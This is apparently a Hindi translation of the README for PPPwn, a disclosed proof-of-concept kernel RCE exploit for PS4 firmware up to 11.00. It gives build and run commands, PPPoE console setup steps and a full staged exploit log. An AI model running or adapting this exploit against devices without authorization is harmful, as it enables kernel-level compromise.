
PPPwn - PlayStation 4 PPPoE RCE
PPPwn PlayStation 4 के FW 11.00 तक के लिए एक कर्नेल रिमोट कोड निष्पादन एक्सप्लॉइट है। यह CVE-2006-4304 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जिसे PlayStation को जिम्मेदारी से रिपोर्ट किया गया था।
समर्थित संस्करण हैं:
यह एक्सप्लॉइट प्रूफ-ऑफ-कॉन्सेप्ट के रूप में आपके PS4 पर केवल PPPwned प्रिंट करता है। Mira या इसी तरह के होमब्रू इनेबलर को लॉन्च करने के लिए, stage2.bin पेलोड को अनुकूलित करने की आवश्यकता है।
Bridged Adapter चुना गया हो, ताकि VM में ईथरनेट पोर्ट का उपयोग किया जा सके।अपने कंप्यूटर पर, रिपॉजिटरी क्लोन करें:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
क्लोन की गई रिपॉजिटरी में डायरेक्टरी बदलें:
cd PPPwn
आवश्यकताएँ इंस्टॉल करें:
sudo pip install -r requirements.txt
पेलोड कंपाइल करें:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
अन्य फर्मवेयर के लिए, जैसे FW 9.00, FW=900 पास करें।
अभी एक्सप्लॉइट न चलाएं (अभी Enter न दबाएं) लेकिन इस कमांड को अपने प्रॉम्प्ट पर तैयार रखें (सही इंटरफ़ेस के लिए ifconfig देखें):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
अन्य फर्मवेयर के लिए, जैसे FW 9.00, --fw=900 पास करें।
अपने PS4 पर:
Settings पर जाएं और फिर Network पर
Set Up Internet connection चुनें और Use a LAN Cable चुनें
Custom सेटअप चुनें और IP Address Settings के लिए PPPoE चुनें
PPPoE User ID और PPPoE Password के लिए कुछ भी दर्ज करें
DNS Settings और MTU Settings के लिए Automatic चुनें
Proxy Server के लिए Do Not Use चुनें
इस PPPoE इंजेक्शन को दोबारा आज़माने से पहले हमेशा कंसोल पर "Cannot connect to network: (NW-31274-7)" संदेश दिखने का इंतज़ार करें।
यदि एक्सप्लॉइट विफल हो जाता है या PS4 क्रैश हो जाता है, तो आप इंटरनेट सेटअप छोड़ सकते हैं और सीधे Test Internet Connection पर क्लिक कर सकते हैं। pppwn.py स्क्रिप्ट को बंद करें और इसे अपने कंप्यूटर पर फिर से चलाएं, और फिर अपने PS4 पर Test Internet Connection पर क्लिक करें: हमेशा एक साथ।
यदि एक्सप्लॉइट काम करता है, तो आपको नीचे जैसा आउटपुट देखना चाहिए, और आपको अपने PS4 पर Cannot connect to network. के बाद PPPwned प्रिंट हुआ देखना चाहिए, या इसके विपरीत।
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
कोड Apple Silicon पर कंपाइल नहीं होगा और इसके लिए AMD64 आर्किटेक्चर आवश्यक है।
Docker का उपयोग करके एक काम का तरीका है जो आवश्यक bin फ़ाइलों का निर्माण करेगा।
इस रिपॉजिटरी को अपने Mac सिस्टम पर क्लोन करें, फिर रिपो फ़ोल्डर से ./build-macarm.sh चलाएं। यह PS4 FW 1100 के लिए बाइनरी बनाएगा और आवश्यक फ़ाइलों को सही फ़ोल्डरों में रखेगा। किसी भिन्न संस्करण, जैसे 900, के लिए बाइनरी बनाने हेतु, कमांड को इस प्रकार चलाएं: ./build-macarm.sh 900। एक बार बन जाने पर, इस फ़ोल्डर संरचना को Linux VM में कॉपी करें और ऊपर दिए निर्देशों के अनुसार निष्पादित करें।
यह VMware Fusion 13.5.1, VM गेस्ट के रूप में Ubuntu 24.04, और होस्ट मशीन के रूप में MacOS 14.4.1 का उपयोग करके परीक्षण किया गया है।
अब, अपने कंट्रोलर पर Test Internet Connection पर 'X' बटन और अपने कीबोर्ड पर 'Enter' एक साथ दबाएं (जिस कंप्यूटर पर आपका Python स्क्रिप्ट चलाने के लिए तैयार है)।